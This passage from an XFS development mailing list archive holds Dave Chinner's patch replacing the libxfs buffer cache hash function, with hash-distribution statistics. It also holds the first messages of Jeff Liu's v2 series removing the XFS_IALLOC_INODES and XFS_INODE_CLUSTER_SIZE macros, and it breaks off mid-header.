9%) Hash buckets with 11 entries 2074 ( 8%) Hash buckets with 12 entries 1582 ( 7%) Hash buckets with 13 entries 1206 ( 5%) Hash buckets with 14 entries 863 ( 4%) Hash buckets with 15 entries 601 ( 3%) Hash buckets with 16 entries 386 ( 2%) Hash buckets with 17 entries 205 ( 1%) Hash buckets with 18 entries 122 ( 0%) Hash buckets with 19 entries 48 ( 0%) Hash buckets with 20 entries 24 ( 0%) Hash buckets with 21 entries 13 ( 0%) Hash buckets with 22 entries 8 ( 0%) A much wider bell curve than phase 3, but still centered around the optimal value and far, far better than the distribution of the current hash calculation. Runtime: Phase Start End Duration Phase 1: 12/06 11:47:21 12/06 11:47:21 Phase 2: 12/06 11:47:21 12/06 11:47:23 2 seconds Phase 3: 12/06 11:47:23 12/06 11:50:50 3 minutes, 27 seconds Phase 4: 12/06 11:50:50 12/06 11:53:57 3 minutes, 7 seconds Phase 5: 12/06 11:53:57 12/06 11:53:58 1 second Phase 6: 12/06 11:53:58 12/06 11:54:51 53 seconds Phase 7: 12/06 11:54:51 12/06 11:54:52 1 second Total run time: 7 minutes, 31 seconds Essentially unchanged - this is somewhat of a "swings and roundabouts" test here because what it is testing is the cache-miss overhead. FWIW, the comparison here shows a pretty good case for the existing hash calculation. On a less populated filesystem (5m inodes rather than 50m inodes) the typical hash distribution was: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262094 Hash table size = 32768 Hits = 626228 Misses = 800166 Hit ratio = 43.90 Hash buckets with 0 entries 29274 ( 0%) Hash buckets with 3 entries 1 ( 0%) Hash buckets with 4 entries 1 ( 0%) Hash buckets with 7 entries 1 ( 0%) Hash buckets with 8 entries 1 ( 0%) Hash buckets with 9 entries 1 ( 0%) Hash buckets with 12 entries 1 ( 0%) Hash buckets with 13 entries 1 ( 0%) Hash buckets with 16 entries 2 ( 0%) Hash buckets with 18 entries 1 ( 0%) Hash buckets with 22 entries 1 ( 0%) Hash buckets with >24 entries 3483 ( 99%) Total and utter crap. Same filesystem, new hash function: Max supported entries = 262144 Max utilized entries = 262144 Active entries = 262103 Hash table size = 32768 Hits = 673208 Misses = 838265 Hit ratio = 44.54 Hash buckets with 3 entries 558 ( 0%) Hash buckets with 4 entries 1126 ( 1%) Hash buckets with 5 entries 2440 ( 4%) Hash buckets with 6 entries 4249 ( 9%) Hash buckets with 7 entries 5280 ( 14%) Hash buckets with 8 entries 5598 ( 17%) Hash buckets with 9 entries 5446 ( 18%) Hash buckets with 10 entries 3879 ( 14%) Hash buckets with 11 entries 2405 ( 10%) Hash buckets with 12 entries 1187 ( 5%) Hash buckets with 13 entries 447 ( 2%) Hash buckets with 14 entries 125 ( 0%) Hash buckets with 15 entries 25 ( 0%) Hash buckets with 16 entries 3 ( 0%) Kinda says it all, really... Signed-off-by: Dave Chinner --- include/cache.h | 4 +++- libxfs/cache.c | 7 +++++-- libxfs/rdwr.c | 12 ++++++++++-- 3 files changed, 18 insertions(+), 5 deletions(-) diff --git a/include/cache.h b/include/cache.h index 76cb234..0a84c69 100644 --- a/include/cache.h +++ b/include/cache.h @@ -66,7 +66,8 @@ typedef void (*cache_walk_t)(struct cache_node *); typedef struct cache_node * (*cache_node_alloc_t)(cache_key_t); typedef void (*cache_node_flush_t)(struct cache_node *); typedef void (*cache_node_relse_t)(struct cache_node *); -typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int); +typedef unsigned int (*cache_node_hash_t)(cache_key_t, unsigned int, + unsigned int); typedef int (*cache_node_compare_t)(struct cache_node *, cache_key_t); typedef unsigned int (*cache_bulk_relse_t)(struct cache *, struct list_head *); @@ -112,6 +113,7 @@ struct cache { cache_node_compare_t compare; /* comparison routine */ cache_bulk_relse_t bulkrelse; /* bulk release routine */ unsigned int c_hashsize; /* hash bucket count */ + unsigned int c_hashshift; /* hash key shift */ struct cache_hash *c_hash; /* hash table buckets */ struct cache_mru c_mrus[CACHE_MAX_PRIORITY + 1]; unsigned long long c_misses; /* cache misses */ diff --git a/libxfs/cache.c b/libxfs/cache.c index 84d2860..dc69689 100644 --- a/libxfs/cache.c +++ b/libxfs/cache.c @@ -25,6 +25,7 @@ #include #include #include +#include #define CACHE_DEBUG 1 #undef CACHE_DEBUG @@ -61,6 +62,7 @@ cache_init( cache->c_misses = 0; cache->c_maxcount = maxcount; cache->c_hashsize = hashsize; + cache->c_hashshift = libxfs_highbit32(hashsize); cache->hash = cache_operations->hash; cache->alloc = cache_operations->alloc; cache->flush = cache_operations->flush; @@ -343,7 +345,7 @@ cache_node_get( int priority = 0; int purged = 0; - hashidx = cache->hash(key, cache->c_hashsize); + hashidx = cache->hash(key, cache->c_hashsize, cache->c_hashshift); hash = cache->c_hash + hashidx; head = &hash->ch_list; @@ -515,7 +517,8 @@ cache_node_purge( struct cache_hash * hash; int count = -1; - hash = cache->c_hash + cache->hash(key, cache->c_hashsize); + hash = cache->c_hash + cache->hash(key, cache->c_hashsize, + cache->c_hashshift); head = &hash->ch_list; pthread_mutex_lock(&hash->ch_mutex); for (pos = head->next, n = pos->next; pos != head; diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 0219a08..0effb9a 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -311,10 +311,18 @@ struct xfs_bufkey { int nmaps; }; +/* 2^63 + 2^61 - 2^57 + 2^54 - 2^51 - 2^18 + 1 */ +#define GOLDEN_RATIO_PRIME 0x9e37fffffffc0001UL +#define CACHE_LINE_SIZE 64 static unsigned int -libxfs_bhash(cache_key_t key, unsigned int hashsize) +libxfs_bhash(cache_key_t key, unsigned int hashsize, unsigned int hashshift) { - return (((unsigned int)((struct xfs_bufkey *)key)->blkno) >> 5) % hashsize; + uint64_t hashval = ((struct xfs_bufkey *)key)->blkno; + uint64_t tmp; + + tmp = hashval ^ (GOLDEN_RATIO_PRIME + hashval) / CACHE_LINE_SIZE; + tmp = tmp ^ ((tmp ^ GOLDEN_RATIO_PRIME) >> hashshift); + return tmp % hashsize; } static int -- 1.8.4.rc3 From jeff.liu@oracle.com Thu Dec 12 01:37:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D01047F51 for ; Thu, 12 Dec 2013 01:37:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5E68FAC008 for ; Wed, 11 Dec 2013 23:37:49 -0800 (PST) X-ASG-Debug-ID: 1386833867-04cbb041696ca120001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id MuqPCSShpyeEYh11 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:37:48 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7bkXO025773 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:37:47 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7bjBr017823 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:37:46 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7bjMA017818 for ; Thu, 12 Dec 2013 07:37:45 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:37:45 -0800 Message-ID: <52A967C6.1050303@oracle.com> Date: Thu, 12 Dec 2013 15:37:42 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 0/8] xfs: Introduce a common helper to calculate the number of blocks per cluster Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 0/8] xfs: Introduce a common helper to calculate the number of blocks per cluster Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833868 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Folks, Here is the v2 patch series to introduce a common helper which could be used to calculate the number of file system blocks in an inode cluster. v2->v1: * Rename xfs_ialloc_blks_per_cluster() to xfs_icluster_size_fsb() as per dave's suggestion. * Remove three macros XFS_IALLOC_INODES/XFS_INODE_CLUSTER_SIZE/XFS_IALLOC_BLOCKS separately as preparation steps. * s/ninodes/inodes_per_cluster/g, as the later is more meaningful. * Remove wrong commit notes I previously written for using xfs_ialloc_blks_per_cluster in xfs_imap(). Thanks, -Jeff From jeff.liu@oracle.com Thu Dec 12 01:38:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A63E67F58 for ; Thu, 12 Dec 2013 01:38:05 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5DF278F8049 for ; Wed, 11 Dec 2013 23:38:05 -0800 (PST) X-ASG-Debug-ID: 1386833880-04bdf013231d0590001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id U6By6GHDiEdR2FSl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:38:01 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7bxCD025852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:38:00 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7bxMV018209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:37:59 GMT Received: from abhmp0017.oracle.com (abhmp0017.oracle.com [141.146.116.23]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7bxCc023620 for ; Thu, 12 Dec 2013 07:37:59 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:37:59 -0800 Message-ID: <52A967D4.4080903@oracle.com> Date: Thu, 12 Dec 2013 15:37:56 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 1/8] xfs: get rid of XFS_IALLOC_INODES macros Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 1/8] xfs: get rid of XFS_IALLOC_INODES macros Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833880 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of XFS_IALLOC_INODES() marcos, use mp->m_ialloc_inos directly. Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 12 ++++++------ fs/xfs/xfs_ialloc.h | 1 - fs/xfs/xfs_log_recover.c | 4 ++-- 3 files changed, 8 insertions(+), 9 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index e87719c..99e8b2c 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -225,7 +225,7 @@ xfs_ialloc_inode_init( * they track in the AIL as if they were physically logged. */ if (tp) - xfs_icreate_log(tp, agno, agbno, XFS_IALLOC_INODES(mp), + xfs_icreate_log(tp, agno, agbno, mp->m_ialloc_inos, mp->m_sb.sb_inodesize, length, gen); } else if (xfs_sb_version_hasnlink(&mp->m_sb)) version = 2; @@ -329,7 +329,7 @@ xfs_ialloc_ag_alloc( * Locking will ensure that we don't have two callers in here * at one time. */ - newlen = XFS_IALLOC_INODES(args.mp); + newlen = args.mp->m_ialloc_inos; if (args.mp->m_maxicount && args.mp->m_sb.sb_icount + newlen > args.mp->m_maxicount) return XFS_ERROR(ENOSPC); @@ -999,7 +999,7 @@ xfs_dialloc( * inode. */ if (mp->m_maxicount && - mp->m_sb.sb_icount + XFS_IALLOC_INODES(mp) > mp->m_maxicount) { + mp->m_sb.sb_icount + mp->m_ialloc_inos > mp->m_maxicount) { noroom = 1; okalloc = 0; } @@ -1202,7 +1202,7 @@ xfs_difree( * When an inode cluster is free, it becomes eligible for removal */ if (!(mp->m_flags & XFS_MOUNT_IKEEP) && - (rec.ir_freecount == XFS_IALLOC_INODES(mp))) { + (rec.ir_freecount == mp->m_ialloc_inos)) { *delete = 1; *first_ino = XFS_AGINO_TO_INO(mp, agno, rec.ir_startino); @@ -1212,7 +1212,7 @@ xfs_difree( * AGI and Superblock inode counts, and mark the disk space * to be freed when the transaction is committed. */ - ilen = XFS_IALLOC_INODES(mp); + ilen = mp->m_ialloc_inos; be32_add_cpu(&agi->agi_count, -ilen); be32_add_cpu(&agi->agi_freecount, -(ilen - 1)); xfs_ialloc_log_agi(tp, agbp, XFS_AGI_COUNT | XFS_AGI_FREECOUNT); @@ -1311,7 +1311,7 @@ xfs_imap_lookup( /* check that the returned record contains the required inode */ if (rec.ir_startino > agino || - rec.ir_startino + XFS_IALLOC_INODES(mp) <= agino) + rec.ir_startino + mp->m_ialloc_inos <= agino) return EINVAL; /* for untrusted inodes check it is allocated first */ diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index a8f76a5..4689b02 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -28,7 +28,6 @@ struct xfs_btree_cur; /* * Allocation parameters for inode allocation. */ -#define XFS_IALLOC_INODES(mp) (mp)->m_ialloc_inos #define XFS_IALLOC_BLOCKS(mp) (mp)->m_ialloc_blks /* diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 07ab52c..f76de2e 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3208,9 +3208,9 @@ xlog_recover_do_icreate_pass2( } /* existing allocation is fixed value */ - ASSERT(count == XFS_IALLOC_INODES(mp)); + ASSERT(count == mp->m_ialloc_inos); ASSERT(length == XFS_IALLOC_BLOCKS(mp)); - if (count != XFS_IALLOC_INODES(mp) || + if (count != mp->m_ialloc_inos || length != XFS_IALLOC_BLOCKS(mp)) { xfs_warn(log->l_mp, "xlog_recover_do_icreate_trans: bad count 2"); return EINVAL; -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:38:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B8AF87F62 for ; Thu, 12 Dec 2013 01:38:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A0BDD8F8049 for ; Wed, 11 Dec 2013 23:38:12 -0800 (PST) X-ASG-Debug-ID: 1386833891-04cb6c537b6c3420001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id YI0ryWHRmaoH3DSQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:38:11 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7cAu5026219 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:38:11 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7c97s018369 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 12 Dec 2013 07:38:10 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBC7c9kK018354 for ; Thu, 12 Dec 2013 07:38:09 GMT Received: from [192.168.1.105] (/114.248.205.234) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 11 Dec 2013 23:38:08 -0800 Message-ID: <52A967DD.3040909@oracle.com> Date: Thu, 12 Dec 2013 15:38:05 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 2/8] xfs: get rid of XFS_INODE_CLUSTER_SIZE macros Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 2/8] xfs: get rid of XFS_INODE_CLUSTER_SIZE macros Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386833891 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Get rid of XFS_INODE_CLUSTER_SIZE() macros, use mp->m_inode_cluster_size directly. Signed-off-by: Jie Liu --- fs/xfs/xfs_ialloc.c | 10 +++++----- fs/xfs/xfs_ialloc.h | 5 +---- fs/xfs/xfs_inode.c | 10 +++++----- fs/xfs/xfs_itable.c | 4 ++-- fs/xfs/xfs_log_recover.c | 8 ++++---- fs/xfs/xfs_trans_resv.c | 2 +- 6 files changed, 18 insertions(+), 21 deletions(-) diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 99e8b2c..c707bd7 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -52,7 +52,7 @@ xfs_ialloc_cluster_alignment( { if (xfs_sb_version_hasalign(&args->mp->m_sb) && args->mp->m_sb.sb_inoalignmt >= - XFS_B_TO_FSBT(args->mp, XFS_INODE_CLUSTER_SIZE(args->mp))) + XFS_B_TO_FSBT(args->mp, args->mp->m_inode_cluster_size)) return args->mp->m_sb.sb_inoalignmt; return 1; } @@ -181,12 +181,12 @@ xfs_ialloc_inode_init( * For small block sizes, manipulate the inodes in buffers * which are multiples of the blocks size. */ - if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) { + if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) { blks_per_cluster = 1; nbufs = length; ninodes = mp->m_sb.sb_inopblock; } else { - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) / + blks_per_cluster = mp->m_inode_cluster_size / mp->m_sb.sb_blocksize; nbufs = length / blks_per_cluster; ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; @@ -1384,7 +1384,7 @@ xfs_imap( return XFS_ERROR(EINVAL); } - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_blocklog; + blks_per_cluster = mp->m_inode_cluster_size >> mp->m_sb.sb_blocklog; /* * For bulkstat and handle lookups, we have an untrusted inode number @@ -1405,7 +1405,7 @@ xfs_imap( * If the inode cluster size is the same as the blocksize or * smaller we get to the buffer by simple arithmetics. */ - if (XFS_INODE_CLUSTER_SIZE(mp) <= mp->m_sb.sb_blocksize) { + if (mp->m_inode_cluster_size <= mp->m_sb.sb_blocksize) { offset = XFS_INO_TO_OFFSET(mp, ino); ASSERT(offset < mp->m_sb.sb_inopblock); diff --git a/fs/xfs/xfs_ialloc.h b/fs/xfs/xfs_ialloc.h index 4689b02..98ce63e 100644 --- a/fs/xfs/xfs_ialloc.h +++ b/fs/xfs/xfs_ialloc.h @@ -30,11 +30,8 @@ struct xfs_btree_cur; */ #define XFS_IALLOC_BLOCKS(mp) (mp)->m_ialloc_blks -/* - * Move inodes in clusters of this size. - */ +/* Move inodes in clusters of this size */ #define XFS_INODE_BIG_CLUSTER_SIZE 8192 -#define XFS_INODE_CLUSTER_SIZE(mp) (mp)->m_inode_cluster_size /* * Make an inode pointer out of the buffer/offset. diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 001aa89..c1642c9 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2152,13 +2152,13 @@ xfs_ifree_cluster( struct xfs_perag *pag; pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, inum)); - if (mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp)) { + if (mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size) { blks_per_cluster = 1; ninodes = mp->m_sb.sb_inopblock; nbufs = XFS_IALLOC_BLOCKS(mp); } else { - blks_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) / - mp->m_sb.sb_blocksize; + blks_per_cluster = mp->m_inode_cluster_size / + mp->m_sb.sb_blocksize; ninodes = blks_per_cluster * mp->m_sb.sb_inopblock; nbufs = XFS_IALLOC_BLOCKS(mp) / blks_per_cluster; } @@ -2906,13 +2906,13 @@ xfs_iflush_cluster( pag = xfs_perag_get(mp, XFS_INO_TO_AGNO(mp, ip->i_ino)); - inodes_per_cluster = XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog; + inodes_per_cluster = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; ilist_size = inodes_per_cluster * sizeof(xfs_inode_t *); ilist = kmem_alloc(ilist_size, KM_MAYFAIL|KM_NOFS); if (!ilist) goto out_put; - mask = ~(((XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog)) - 1); + mask = ~(((mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog)) - 1); first_index = XFS_INO_TO_AGINO(mp, ip->i_ino) & mask; rcu_read_lock(); /* really need a gang lookup range call here */ diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c index c237ad1..0571012 100644 --- a/fs/xfs/xfs_itable.c +++ b/fs/xfs/xfs_itable.c @@ -243,9 +243,9 @@ xfs_bulkstat( *done = 0; fmterror = 0; ubufp = ubuffer; - nicluster = mp->m_sb.sb_blocksize >= XFS_INODE_CLUSTER_SIZE(mp) ? + nicluster = mp->m_sb.sb_blocksize >= mp->m_inode_cluster_size ? mp->m_sb.sb_inopblock : - (XFS_INODE_CLUSTER_SIZE(mp) >> mp->m_sb.sb_inodelog); + (mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog); nimask = ~(nicluster - 1); nbcluster = nicluster >> mp->m_sb.sb_inopblog; irbuf = kmem_zalloc_greedy(&irbsize, PAGE_SIZE, PAGE_SIZE * 4); diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index f76de2e..42458ab 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -2523,19 +2523,19 @@ xlog_recover_buffer_pass2( * * Also make sure that only inode buffers with good sizes stay in * the buffer cache. The kernel moves inodes in buffers of 1 block - * or XFS_INODE_CLUSTER_SIZE bytes, whichever is bigger. The inode + * or mp->m_inode_cluster_size bytes, whichever is bigger. The inode * buffers in the log can be a different size if the log was generated * by an older kernel using unclustered inode buffers or a newer kernel * running with a different inode cluster size. Regardless, if the - * the inode buffer size isn't MAX(blocksize, XFS_INODE_CLUSTER_SIZE) - * for *our* value of XFS_INODE_CLUSTER_SIZE, then we need to keep + * the inode buffer size isn't MAX(blocksize, mp->m_inode_cluster_size) + * for *our* value of mp->m_inode_cluster_size, then we need to keep * the buffer out of the buffer cache so that the buffer won't * overlap with future reads of those inodes. */ if (XFS_DINODE_MAGIC == be16_to_cpu(*((__be16 *)xfs_buf_offset(bp, 0))) && (BBTOB(bp->b_io_length) != MAX(log->l_mp->m_sb.sb_blocksize, - (__uint32_t)XFS_INODE_CLUSTER_SIZE(log->l_mp)))) { + (__uint32_t)log->l_mp->m_inode_cluster_size))) { xfs_buf_stale(bp); error = xfs_bwrite(bp); } else { diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..51c181d 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -385,7 +385,7 @@ xfs_calc_ifree_reservation( xfs_calc_inode_res(mp, 1) + xfs_calc_buf_res(2, mp->m_sb.sb_sectsize) + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, 1)) + - max_t(uint, XFS_FSB_TO_B(mp, 1), XFS_INODE_CLUSTER_SIZE(mp)) + + max_t(uint, XFS_FSB_TO_B(mp, 1), mp->m_inode_cluster_size) + xfs_calc_buf_res(1, 0) + xfs_calc_buf_res(2 + XFS_IALLOC_BLOCKS(mp) + mp->m_in_maxlevels, 0) + -- 1.8.3.2 From jeff.liu@oracle.com Thu Dec 12 01:38:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F7F37F51 for ; Thu, 12 Dec 2013 01:38:27 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6C2AF30406B for ; Wed, 11 Dec 2013 23:38:27 -0800 (PST) X-ASG-Debug-ID: 1386833903-04cbb041686ca180001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id GNy4wV0ND4uf3jym (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 11 Dec 2013 23:38:23 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rBC7cMfK026527 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Dec 2013 07:38:23 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet21.oracle.com 